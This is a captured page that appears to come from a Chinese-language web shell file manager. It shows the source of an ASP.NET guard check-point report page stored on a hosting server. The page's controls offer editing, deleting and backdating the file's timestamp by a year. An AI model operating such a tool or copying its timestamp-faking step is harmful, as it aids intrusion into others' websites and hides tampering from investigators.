文件操作 - CheckPointReport.aspx
返回文件管理
返回主菜单
删除本文件
文件: E:\HostingSpaces\kimblycr\guard.kimbly.in\wwwroot\CheckPointReport.aspx
编辑文件内容
<%@ Page Title="" Language="C#" MasterPageFile="~/Site.master" AutoEventWireup="true" CodeFile="CheckPointReport.aspx.cs" Inherits="CheckPointReport" %> <%@ Register assembly="AjaxControlToolkit" namespace="AjaxControlToolkit" tagprefix="asp" %> <asp:Content ID="Content1" ContentPlaceHolderID="HeadContent" Runat="Server"></asp:Content> <asp:Content ID="Content2" ContentPlaceHolderID="MainContent" Runat="Server"> <asp:ScriptManager ID="ScriptManager1" runat="server"></asp:ScriptManager> <table class="style1"><tr><td colspan="7"><h1>Check Point Report</h1><hr /></td></tr> <tr><td width="10%">Start Date</td> <td width="15%"> <asp:TextBox ID="txtSDate" runat="server"></asp:TextBox> <asp:CalendarExtender ID="txtSDate_CalendarExtender" runat="server" Enabled="True" TargetControlID="txtSDate" Format="dd-MMM-yy"></asp:CalendarExtender> </td> <td width="10%">End Date</td> <td width="15%"> <asp:TextBox ID="txtEDate" runat="server"></asp:TextBox> <asp:CalendarExtender ID="txtEDate_CalendarExtender" runat="server" Enabled="True" TargetControlID="txtEDate" Format="dd-MMM-yy"></asp:CalendarExtender> </td> <td width="10%">Site</td> <td width="15%"> <asp:DropDownList ID="DDLSites" runat="server" DataSourceID="SqlDataSource2" DataTextField="SiteName" DataValueField="AutoID" Width="200px"></asp:DropDownList> <asp:SqlDataSource ID="SqlDataSource2" runat="server" ConnectionString="<%$ ConnectionStrings:ApplicationServices %>" SelectCommand="SELECT [AutoID], [SiteName] FROM [Sites]"></asp:SqlDataSource> </td> <td style="text-align: center"> <asp:ImageButton ID="BtnSearch" runat="server" ImageUrl="~/Images/Search.png" onclick="BtnSearch_Click" /> </td> </tr> <tr> <td colspan="7"> <asp:GridView ID="GridView1" runat="server" AutoGenerateColumns="False" CssClass="DDGridView" HeaderStyle-CssClass="th" RowStyle-CssClass="td" DataSourceID="SqlDataSource1" Width="50%"> <Columns> <asp:BoundField DataField="CheckPoints" HeaderText="CheckPoints" SortExpression="CheckPoints" /> <asp:BoundField DataField="GuardName" HeaderText="GuardName" SortExpression="GuardName" /> <asp:BoundField DataField="DateTime" HeaderText="DateTime" SortExpression="DateTime" /> </Columns> <HeaderStyle CssClass="th"></HeaderStyle><RowStyle CssClass="td"></RowStyle> </asp:GridView> <asp:SqlDataSource ID="SqlDataSource1" runat="server" ConnectionString="<%$ ConnectionStrings:ApplicationServices %>" SelectCommand="PullCheckPointReport" SelectCommandType="StoredProcedure"> <SelectParameters> <asp:Parameter DbType="Date" Name="FromDate" /> <asp:Parameter DbType="Date" Name="ToDate" /> <asp:Parameter Name="SiteID" Type="Int32" /> </SelectParameters> </asp:SqlDataSource> </td></tr> </table></asp:Content>
修改文件时间
将文件时间修改为当前时间的前一年
删除文件